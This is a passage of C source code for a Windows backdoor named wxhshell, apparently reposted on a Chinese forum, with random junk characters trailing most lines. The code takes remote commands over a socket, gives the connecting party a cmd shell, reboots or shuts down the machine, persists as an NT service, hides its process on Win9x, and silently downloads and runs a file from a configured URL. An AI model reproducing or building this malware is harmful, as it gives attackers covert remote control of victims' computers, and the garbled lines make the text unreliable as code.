    switch(cmd[0]) { % mJ~F*Dy  
  -E}>h[;qZ  
  // 帮助 ia_Z\q  
  case '?': { TbMdQbj}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !5? m  
    break; =MCNCV/<  
  } B(8mH  
  // 安装 </|)"OD9  
  case 'i': { YsZ{1W  
    if(Install()) z'_&|-m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#sz|0  
    else ,%[LwmET  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"5jy$30'$  
    break; =w?M_[&K)  
    } ^l--zzO 8l  
  // 卸载 zuk"  
  case 'r': { cxY$LY!zX  
    if(Uninstall()) {s,^b|I2#U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #UBB lE#  
    else Xthtw*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (=`Z0)=  
    break; 6k:y$,w  
    } IKGTsA;  
  // 显示 wxhshell 所在路径 tp%|AD"  
  case 'p': { `bzr_fJ  
    char svExeFile[MAX_PATH]; I88Zrhw  
    strcpy(svExeFile,"\n\r"); KS b(R/T  
      strcat(svExeFile,ExeFile); T<f2\q8Uo=  
        send(wsh,svExeFile,strlen(svExeFile),0); 75kKDR}6  
    break; xrfPZBLy  
    } h4tC. i~k  
  // 重启 r|*:9|y{"/  
  case 'b': { g})6V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '!Hhd![\=|  
    if(Boot(REBOOT)) O%fUm0O d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*y;>q "{U  
    else { h (qshbC}  
    closesocket(wsh); 0{-`Th+h  
    ExitThread(0); #fwzFS \XL  
    } I ca3  
    break; 4sb )^3T  
    } .F4oo=  
  // 关机 =Na/3\^WP  
  case 'd': { {%=S+89l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D*CIE\+  
    if(Boot(SHUTDOWN)) S|~i>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yQ8M >H#J  
    else { ;&If9O 1  
    closesocket(wsh); O;UiYrXU  
    ExitThread(0); 8n;kK?  
    } 2dXU0095  
    break; XIqv {w  
    } MJ1W*'9</W  
  // 获取shell ==nYe { 2  
  case 's': { wu;7NatHx  
    CmdShell(wsh); +d@v AxP  
    closesocket(wsh); giaD9$C  
    ExitThread(0); xR *5q1j  
    break; ylkpYd  
  } y>@v>S  
  // 退出 RlU;v2Kch  
  case 'x': { B{;11 u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mgo'MW\   
    CloseIt(wsh); hK:#+hg,  
    break; CFD*g\g<*  
    } `oB'(  
  // 离开 b;Hm\aK  
  case 'q': { :/>7$)+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >BJ2v=R A  
    closesocket(wsh); 3?.6K0L  
    WSACleanup(); ^Yf3"D?&  
    exit(1); w/qQ(]n8  
    break; uG2Xkj  
        } ARmu{cL  
  } BXT 80a\  
  } n"XdHW0  
Tq9,c#}&  
  // 提示信息 #x, ]D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2ZU@>W  
} ''$`;?t>  
  } L v  
'Y hA  
  return; G A'*58  
} M7`UoTc+>d  
1f+*Tmc5]Q  
// shell模块句柄 X=fPGyhZ  
int CmdShell(SOCKET sock) bs:C1j\&  
{ )EhTM-1  
STARTUPINFO si; "g x5XW&  
ZeroMemory(&si,sizeof(si)); @:S$|D~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yfPCGCOW?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H%*~l  
PROCESS_INFORMATION ProcessInfo; 2v"wWap-+  
char cmdline[]="cmd"; zd?bHcW/h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )fxo)GS  
  return 0; p6<E=5RRd1  
} $ 1ak I  
1j oc<EI  
// 自身启动模式 |M[v493\  
int StartFromService(void) WpZy](,  
{ 6b-  
typedef struct ^?H\*N4  
{ 9`ri J4zl  
  DWORD ExitStatus; VaD:  
  DWORD PebBaseAddress; OwNAN  
  DWORD AffinityMask; L~^e\^sP  
  DWORD BasePriority; )v*v  
  ULONG UniqueProcessId; Ln"+nKr  
  ULONG InheritedFromUniqueProcessId; K?z*3^^X;  
}   PROCESS_BASIC_INFORMATION; u+%)JhIp  
B ]|5?QP-  
PROCNTQSIP NtQueryInformationProcess; ;y:#S^|?-z  
d/0/$Bz}P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X !&"&n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NTv#{7q  
wo,""=l  
  HANDLE             hProcess; MuCQxzvkhf  
  PROCESS_BASIC_INFORMATION pbi; `77;MGg*  
v&t`5-e-A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OhA^UP01-  
  if(NULL == hInst ) return 0; /ChJ~g"  
jD&}}:Dj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k#l'ko/X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {q5hF5!`)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o`<h=+a\  
NTpz)R  
  if (!NtQueryInformationProcess) return 0; #J%h!#3g  
v :'P"uU;4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X}65\6  
  if(!hProcess) return 0; *X-~TC0 [  
o=a:L^nt,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Qiq/"h  
#Pe\Z/  
  CloseHandle(hProcess); kphy7> Km  
zJB+C=]D7H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,g<>`={kK+  
if(hProcess==NULL) return 0; :kf3_?9rc  
[#H8=  
HMODULE hMod; )w }*PL  
char procName[255]; e3HF"v]2!  
unsigned long cbNeeded; pAPQi|CN  
ZI#SYEF6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4wM$5  
1s^$oi}  
  CloseHandle(hProcess); kVB}r.NHP  
_js2^<7v}  
if(strstr(procName,"services")) return 1; // 以服务启动 MkluK=$  
_umO)]Si  
  return 0; // 注册表启动 2vk8+LA(6  
}  d'**wh,  
D_,_.C~O  
// 主模块 S`'uUvAA  
int StartWxhshell(LPSTR lpCmdLine) x~3>1Wr#M  
{ BIb{<tG^N  
  SOCKET wsl; "6[Ax{cM  
BOOL val=TRUE; KweHY,  
  int port=0; ek+8hnkh  
  struct sockaddr_in door; ~' PS|  
K>DnD0  
  if(wscfg.ws_autoins) Install(); z=8_%r  
X*p:&=o  
port=atoi(lpCmdLine); #nMP (ShK  
hg86#jq%  
if(port<=0) port=wscfg.ws_port; |Ls&~'ik  
8WLh]MD`  
  WSADATA data; ^<5^9]x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '3Lx!pMhN  
%n V@'3EI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sDh6 Uk  
  door.sin_family = AF_INET; v J,xz*rc`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZQ-z2s9U  
  door.sin_port = htons(port); %]P@G^Bv  
h} b^o*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jn^Wzn[q  
closesocket(wsl); ND99 g  
return 1; `6l24_eKf  
} ^5zS2nm  
TF ([yZO'  
  if(listen(wsl,2) == INVALID_SOCKET) { sN[@mAoH  
closesocket(wsl); >P]I&S-.  
return 1; DrVbx  
} F4aJr%!\6S  
  Wxhshell(wsl); Zj /H3,7  
  WSACleanup(); 8xGkh?%  
P[|B WNei  
return 0; 9iN!hy[  
A.'`FtV  
} hTNYjXj  
JY,l#?lM{  
// 以NT服务方式启动 ,R9f;BR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @_ tA"E  
{ y&O_Jyg<  
DWORD   status = 0; d T0 z^SG  
  DWORD   specificError = 0xfffffff; Zqe[2()  
A_4\$NZ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ph$&f0A6Xc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (x*2BEn|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1>O0Iu  
  serviceStatus.dwWin32ExitCode     = 0; rj`.hXO  
  serviceStatus.dwServiceSpecificExitCode = 0; f*R_\  
  serviceStatus.dwCheckPoint       = 0; G%x,t -  
  serviceStatus.dwWaitHint       = 0; ,~68~_)  
Q*{H]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a1Y_0  
  if (hServiceStatusHandle==0) return; @+Anv~B.  
|GLn 9vw7S  
status = GetLastError(); eB1eUK>  
  if (status!=NO_ERROR) HpgN$$\@  
{ !C)>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !nD[hI8P  
    serviceStatus.dwCheckPoint       = 0; oCru5F  
    serviceStatus.dwWaitHint       = 0; $@ #G+QQ_  
    serviceStatus.dwWin32ExitCode     = status; (^OC%pc  
    serviceStatus.dwServiceSpecificExitCode = specificError; >!ZyykAs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0a;F X0S&  
    return; Jut'xA2Dr  
  } 0z2R`=)  
~TmHnAz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W9V=hQ2  
  serviceStatus.dwCheckPoint       = 0; , ?s k J  
  serviceStatus.dwWaitHint       = 0; 9?mOLDu}Q0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CI ]U)@\U  
} AXv3jH,HF  
7*8nUq  
// 处理NT服务事件,比如:启动、停止 oeqJ?1=!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w})&[d  
{ W SeRV?+T  
switch(fdwControl) =P+wp{?AN|  
{ cH8H)55F  
case SERVICE_CONTROL_STOP: f \%X 7.  
  serviceStatus.dwWin32ExitCode = 0; =GS_ G;Dz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 74!JPOpQH  
  serviceStatus.dwCheckPoint   = 0; uX 5B>32  
  serviceStatus.dwWaitHint     = 0; K {N;k-  
  { hQRc,d6x5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r?{LQWP>e  
  } qb/!;U_  
  return; Y&:\s8C  
case SERVICE_CONTROL_PAUSE: } jy7,+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bf}0'MK8zQ  
  break; r -DD*'R  
case SERVICE_CONTROL_CONTINUE: 4xC6#:8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j1C0LP8  
  break; g&20F`.N*>  
case SERVICE_CONTROL_INTERROGATE: ~#xs `@{s  
  break; ^K@ GK  
}; ?Pf ,5=*B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |H I A[.q  
} kys-~&@+  
53#5p;k  
// 标准应用程序主函数 L?5t <`#lw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rEyMSLN  
{ W2V@\  
,DsT:8  
// 获取操作系统版本 y"n~ET}e7  
OsIsNt=GetOsVer(); $7ME a"a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %-zH]"Q$  
ZX RN?b  
  // 从命令行安装 S%%qn  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vf2! 0  
:=KGQ3V~eK  
  // 下载执行文件 ry=[:\Z~  
if(wscfg.ws_downexe) { }T(q"Vf~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T%b^|="@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]7ZC>.t  
} ]?5@ObG  
7VD7di=D  
if(!OsIsNt) { +.Ukzu~s  
// 如果时win9x,隐藏进程并且设置为注册表启动 P>cJ~F M  
HideProc(); Lgw@y!Llij  
StartWxhshell(lpCmdLine); kxiyF$ 9  
} (W6\%H2u  
else H0:6zSsc=|  
  if(StartFromService()) Kd21:|!t^  
  // 以服务方式启动 O? <_,-.  
  StartServiceCtrlDispatcher(DispatchTable); {twf7.eY  
else {+59YO  
  // 普通方式启动 nK; rEL  
  StartWxhshell(lpCmdLine); 81 Not  
o ieLh"$  
return 0; ^hTJp{  
}
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只看该作者 1 发表于: 2006-10-10
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